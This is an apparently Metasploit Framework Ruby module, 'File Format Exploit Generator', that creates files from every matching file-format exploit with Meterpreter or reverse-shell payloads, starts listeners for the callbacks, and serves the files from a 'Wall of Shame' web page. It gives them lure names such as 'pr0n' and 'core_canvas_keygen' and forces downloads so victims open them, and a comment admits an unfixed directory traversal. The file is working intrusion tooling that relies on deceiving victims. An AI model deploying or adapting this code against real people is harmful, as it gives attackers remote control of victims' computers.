## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' #require 'rex/exploitation/javascriptosdetect' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'File Format Exploit Generator', 'Version' => '$Revision$', 'Description' => %q{ This module generates a combination of File format exploits and make them available to a client. 94.7% Based on browser autopwn by egypt. }, 'Author' => [ 'et', ], 'License' => BSD_LICENSE, 'Actions' => [ [ 'WebServer', { 'Description' => 'Deliver file format exploits in a web page with links to the actual files' } ], [ 'OnlyFiles', { 'Description' => 'Create file format exploits in selected directory' } ], [ 'list', { 'Description' => 'List the exploit modules that would be started' } ] ], 'PassiveActions' => [ 'WebServer', 'Email' ], 'DefaultAction' => 'WebServer')) register_options([ OptAddress.new('LHOST', [ true, 'The IP address to use for reverse-connect payloads' ]), OptString.new('OUTPUTPATH', [ true, 'The location of the files.', File.join(Msf::Config.get_config_root, 'exploits') ]), OptBool.new('CREATEFILES', [ true, 'Set to false in case files are already in the defined path', true ]), OptBool.new('USECONTENTTYPE', [ true, 'Use Content-type header according to file extension. Many exploits may fail depending on this value', true ]), ], self.class) register_advanced_options([ OptString.new('MATCH', [false, 'Only attempt to use exploits whose name matches this regex' ]), OptString.new('EXCLUDE', [false, 'Only attempt to use exploits whose name DOES NOT match this regex' ]), OptBool.new('USEMODNAME', [false, 'Use module names as file names', true ]), OptBool.new('USEIFRAMES', [false, 'Deliver each file as an iframe in webserver', false ]), OptString.new('TITLE', [ true, 'The HTML page title.', 'WALL oF SHAME' ]), OptString.new('COMMENT', [ true, 'HTML page text.', 'Welcome!
' ]), OptPort.new('LPORT_WIN32', [false, 'The port to use for Windows reverse-connect payloads, default is 3333' ]), OptPort.new('LPORT_MULTI', [false, 'The port to use for Multi reverse-connect payloads, default is 4444' ]), OptPort.new('LPORT_MAC', [false, 'The port to use for Mac reverse-connect payloads, default is 5555' ]), OptPort.new('LPORT_GENERIC', [false, 'The port to use for generic reverse-connect payloads, default is 6666' ]), ], self.class) @exploits = Hash.new @payloads = Hash.new @targetcache = Hash.new end def run storexp = File.join(Msf::Config.get_config_root, 'exploits') Dir.mkdir(storexp) unless File.directory?(storexp) if (action.name == 'list') m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{} e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$} [ [framework.exploits, 'exploit' ] ].each do |mtype| mtype[0].each_module do |name, mod| m = mod.new if ((m.kind_of? Msf::Exploit::FILEFORMAT) and name =~ m_regex and name !~ e_regex) @exploits[name] = nil print_line name #print_line #print_line m.description #print_line #print_line "Targets" # #begin # tout = Serializer::ReadableText.dump_exploit_target(m, ' ') # print_line tout #rescue # print_error "Error retrieving targets in #{name}" #end end end end print_line print_status("Found #{@exploits.length} exploit modules") elsif (action.name == 'WebServer') if (!framework.db.active) warn_no_database end start_exploit_modules() if !datastore['CREATEFILES'] print_status("FILES NOT CREATED") end if @exploits.length < 1 and datastore["CREATEFILES"] print_error("No exploits, check your MATCH and EXCLUDE settings") return false end exploit() elsif (action.name == 'OnlyFiles') if (!framework.db.active) warn_no_database end start_exploit_modules() if @exploits.length < 1 print_error("No exploits, check your MATCH and EXCLUDE settings") return false end end end def setup # # I'm still not sold that this is the best way to do this, but random # LPORTs causes confusion when things break and breakage when firewalls # are in the way. I think the ideal solution is to have # self-identifying payloads so we'd only need 1 LPORT for multiple # stagers. # @win_lport = datastore['LPORT_WIN32'] || 3333 @multi_lport = datastore['LPORT_MULTI'] || 4444 @osx_lport = datastore['LPORT_MACOS'] || 5555 @gen_lport = datastore['LPORT_GENERIC'] || 6666 minrank = framework.datastore['MinimumRank'] || 'manual' if not RankingName.values.include?(minrank) print_error("MinimumRank invalid! Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})") wlog("MinimumRank invalid, ignoring", 'core', LEV_0) end @minrank = RankingName.invert[minrank] end def init_exploit(name, mod = nil, targ = 0) if mod.nil? @exploits[name] = framework.modules.create(name) else @exploits[name] = mod.new end modrank = @exploits[name].class.const_defined?('Rank') ? @exploits[name].class.const_get('Rank') : NormalRanking if (modrank < @minrank) @exploits.delete(name) return false end case name when %r{windows} payload='windows/meterpreter/reverse_tcp' lport = @win_lport when %r{multi} payload='windows/meterpreter/reverse_tcp' lport = @multi_lport #when %r{osx} # Some day... #payload='osx/meterpreter/reverse_tcp' else lport = @gen_lport payload='generic/shell_reverse_tcp' end @payloads[lport] = payload if datastore['CREATEFILES'] print_status("File Format exploit #{name} with payload #{payload}") end @exploits[name].datastore['SRVHOST'] = datastore['SRVHOST'] @exploits[name].datastore['SRVPORT'] = datastore['SRVPORT'] # For testing, set the exploit uri to the name of the exploit so it's # easy to tell what is happening from the browser. @exploits[name].datastore['OUTPUTPATH'] = datastore['OUTPUTPATH'] if (datastore['USEMODNAME']) @exploits[name].datastore['FILENAME'] = name.gsub(/[\\\/]/, '_') + '_' + @exploits[name].datastore['FILENAME'] else # Later change for some simple names @exploits[name].datastore['FILENAME'] = filerename(File.extname(@exploits[name].datastore['FILENAME'])) end @exploits[name].datastore['LPORT'] = lport @exploits[name].datastore['LHOST'] = @lhost @exploits[name].datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread' @exploits[name].datastore['DisablePayloadHandler'] = true if datastore['CREATEFILES'] @exploits[name].exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'Target' => targ, 'Payload' => payload, 'RunAsJob' => true) # It takes a little time for the resources to get set up, so sleep for # a bit to make sure the exploit is fully working. Without this, # mod.get_resource doesn't exist when we need it. Rex::ThreadSafe.sleep(0.5) # Make sure this exploit got set up correctly, return false if it # didn't if framework.jobs[@exploits[name].job_id.to_s].nil? print_error("Failed to start exploit module #{name}") @exploits.delete(name) return false end end return true end def start_exploit_modules() @lhost = (datastore['LHOST'] || "0.0.0.0") print_line print_status("Starting exploit modules on host #{@lhost}...") print_status("---") print_line m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{} e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$} [ [framework.exploits, 'exploit' ] ].each do |mtype| framework.exploits.each_module do |name, mod| m = mod.new if (m.kind_of? Msf::Exploit::FILEFORMAT) and name =~ m_regex and name !~ e_regex next if !(init_exploit(name)) end end end if action.name == 'OnlyFiles' print_status "--- Done. Files created in #{datastore['OUTPUTPATH']}" return end # start handlers for each type of payload [@win_lport, @lin_lport, @osx_lport, @gen_lport].each do |lport| if (lport and @payloads[lport]) print_status("Starting handler for #{@payloads[lport]} on port #{lport}") multihandler = framework.modules.create("exploit/multi/handler") multihandler.datastore['LPORT'] = lport multihandler.datastore['LHOST'] = @lhost multihandler.datastore['ExitOnSession'] = false multihandler.datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread' multihandler.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'Payload' => @payloads[lport], 'RunAsJob' => true) end end # let the handlers get set up Rex::ThreadSafe.sleep(0.5) print_line print_status("--- Done, found %bld%grn#{@exploits.length}%clr exploit modules") print_line end def on_request_uri(cli, request) # # I have NOT fixed dir. transversals! # print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}") case request.uri when self.get_resource # This is the first request. response = create_response() response["Expires"] = "0" response.body = " Wall of Shame " response.body << "" response.body << "

#{datastore['TITLE']}


" response.body << "#{datastore['COMMENT']}" Dir.foreach(datastore['OUTPUTPATH']) do |entry| if entry == '.' or entry == '..' # do nothing else if !datastore['USEIFRAMES'] response.body << "#{entry}
" else response.body << "
" end end end response.body << "" cli.send_response(response) when %r{^#{self.get_resource}.*} fname = request.uri.gsub("#{self.get_resource}/","") response = create_response() response["Expires"] = "0" if datastore['USECONTENTTYPE'] response["Content-type"] = ctype(File.extname(fname))['ctype'] if ctype(File.extname(fname))['cdisp'] response["Content-disposition"] = "attachment; filename=#{fname}" end else response["Content-type"] = "application/octet-stream" response["Content-disposition"] = "attachment; filename=#{fname}" end fullname = File.join(datastore['OUTPUTPATH'],fname) if File.exist?(fullname) and File.file?(fullname) src = File.open(fullname, "rb") while (not src.eof?) response.body << src.read(src.stat.size) end src.close src = nil else print_status("404ing #{request.uri}") send_not_found(cli) end cli.send_response(response) else print_status("404ing #{request.uri}") send_not_found(cli) return false end end def filerename(ext) # # A sample way to change file name by type instead of using the ugly # exploit name # case ext when ".html" then n = "pr0n" + Rex::Text.rand_text_numeric(4) when ".exe" then n = "core_canvas_keygen" + Rex::Text.rand_text_numeric(4) when ".pdf" then n = "ebook" + Rex::Text.rand_text_numeric(6) when ".zip" then n = "gibson_passwd" + Rex::Text.rand_text_numeric(4) when ".xsl" then n = "test" + Rex::Text.rand_text_numeric(2) when ".m3u" then n = "musical" + Rex::Text.rand_text_numeric(2) else n = "data" + Rex::Text.rand_text_numeric(4) end n << ext return n end def ctype(ext) aret = {} # # Need to force download as some exploits (i.e. pdf) # dont work thru the browser only work when the file is saved and/or opened # # ctype: Content-type # cdisp: true/false Include a "Content-disposition" header to force save as case ext when ".html" then aret['ctype'] = "text/html" aret['cdisp'] = false when ".exe" then aret['ctype'] = "application/octet-stream" aret['cdisp'] = false when ".pdf" then # # See comments above # aret['ctype'] = "application/pdf" aret['ctype'] = "application/octet-stream" aret['cdisp'] = true when ".zip" then aret['ctype'] = "application/zip" aret['cdisp'] = false when ".xsl" then aret['ctype'] = "text/xml" aret['cdisp'] = false when ".m3u" then aret['ctype'] = "audio/x-mpegurl" aret['cdisp'] = false else aret['ctype'] = "application/octet-stream" aret['cdisp'] = false end return aret end def warn_no_database print_error("WARNING: Database is disabled") end end